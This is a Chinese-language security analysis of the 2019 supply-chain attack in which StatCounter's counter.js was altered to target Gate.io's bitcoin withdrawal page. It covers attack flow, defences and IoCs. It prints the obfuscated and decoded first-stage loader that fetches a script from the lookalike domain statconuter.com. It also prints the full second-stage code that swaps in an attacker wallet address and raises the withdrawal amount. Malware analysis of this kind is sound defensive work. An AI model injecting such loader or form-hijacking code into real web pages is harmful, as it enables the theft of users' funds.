针对密币交易所gate.io的供应链攻击技术分析
字数 1496 2025-08-18 11:37:49
供应链攻击案例分析:针对Gate.io的StatCounter供应链攻击技术分析
一、攻击概述
2019年初,一个网络犯罪组织通过入侵StatCounter(一个拥有200万会员、月计算超100亿次页面访问量的Web分析平台),对加密货币交易所Gate.io实施了供应链攻击。攻击者通过篡改StatCounter的JavaScript资源文件,注入了针对Gate.io的恶意代码,旨在窃取用户的比特币。
二、攻击技术细节
1. 攻击载体
- 被入侵资源:
www.statcounter[.]com/counter/counter.js - 攻击手法:在合法JS文件的中间位置(而非常见的开头或结尾)注入恶意代码,增加隐蔽性
2. 第一阶段攻击代码分析
// 混淆后的原始代码(使用Dean Edwards封装器)
eval(function(p,a,c,k,e,r){...}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}',26,26,'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'),0,{}));
// 解混淆后的实际代码
myselfloc= '' + document.location;
if(myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
var ga = document.createElement('script');
ga.src = 'https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true');
document.documentElement.firstChild.appendChild(ga);
}
关键点:
- 检测当前URL是否包含
myaccount/withdraw/BTC路径 - 如果匹配,则动态加载来自
statconuter[.]com(仿冒域名)的第二阶段恶意脚本 - 使用
async属性确保脚本异步加载,不影响页面性能
3. 第二阶段攻击代码分析
// 解混淆后的第二阶段代码
document.forms[0]['addr'].value= '';
document.forms[0]['amount'].value= '';
doSubmit1= doSubmit;
doSubmit= function () {
var a = document.getElementById('withdraw_form');
if ($('#amount').val() > 10) {
document.forms[0]['addr']['name']= '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value','1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if(document.getElementById('canUse').innerText > 10) {
document.forms[0]['addr']['name']= '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value','1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
document.forms[0]['amount']['name']= '';
var t = $("<input type='hidden' name='amount'/>");
t.attr('value',Math.min(document.getElementById('canUse').innerText,document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
攻击逻辑:
- 保存原始
doSubmit函数到doSubmit1 - 重写
doSubmit函数,添加恶意逻辑:- 当提现金额>10时:替换目标地址为攻击者的比特币钱包
- 当可用余额>10时:替换目标地址并尝试提取全部可用余额
- 其他情况:调用原始
doSubmit1函数保持正常流程
- 使用隐藏表单字段技巧绕过前端验证
4. 攻击目标分析
- 精准定位:专门针对Gate.io的比特币提现页面(
/myaccount/withdraw/BTC) - 目标价值:Gate.io当时日交易额达数百万美元,仅比特币日交易额就有160万美元
- 隐蔽性:钱包地址替换发生在用户点击提交按钮后,普通用户难以察觉
三、攻击技术特点
- 供应链攻击:通过入侵上游服务提供商StatCounter实现攻击下游目标
- 域名仿冒:使用
statconuter[.]com仿冒statcounter[.]com(两个字母差异) - 代码注入位置:选择JS文件中间而非常见头尾位置注入,增加隐蔽性
- 代码混淆:使用Dean Edwards封装器混淆代码
- 条件触发:仅当访问特定URL时才加载第二阶段恶意代码
- 动态Payload:第二阶段脚本中的比特币钱包地址由服务器动态生成
四、防御建议
1. 对于Web服务提供商
- 实施严格的代码审计和完整性检查机制
- 使用Subresource Integrity (SRI)确保外部资源完整性
- 监控第三方脚本的异常行为
2. 对于企业用户
- 审查所有第三方依赖,特别是分析、统计类服务
- 实施内容安全策略(CSP)限制外部脚本执行
- 监控网络请求中的可疑域名
3. 对于终端用户
- 在加密货币交易时仔细核对钱包地址
- 使用浏览器扩展检测页面DOM修改
- 对于大额交易,建议分小额测试转账
五、IoC(入侵威胁指标)
-
恶意URL:
statcounter[.]com/counter/counter.js(被篡改的合法资源)statconuter[.]com/c.php(第二阶段恶意脚本)
-
比特币钱包地址示例:
1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad
六、总结
本案例展示了供应链攻击的高度针对性和有效性。攻击者通过入侵广泛使用的分析服务,实现了对特定高价值目标的精准打击。这种攻击方式不仅难以检测,而且由于利用了受信任的第三方服务,具有很高的成功率。防御此类攻击需要从供应链安全、代码完整性验证和用户行为监控等多层面构建防御体系。